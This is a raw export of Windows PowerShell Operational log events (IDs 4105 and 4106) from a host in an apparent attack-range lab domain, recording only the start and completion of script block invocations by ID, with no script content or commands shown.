Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047576
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047575
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047568
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047553
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047552
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047551
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047550
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047536
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047535
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047534
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047533
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047528
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047527
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
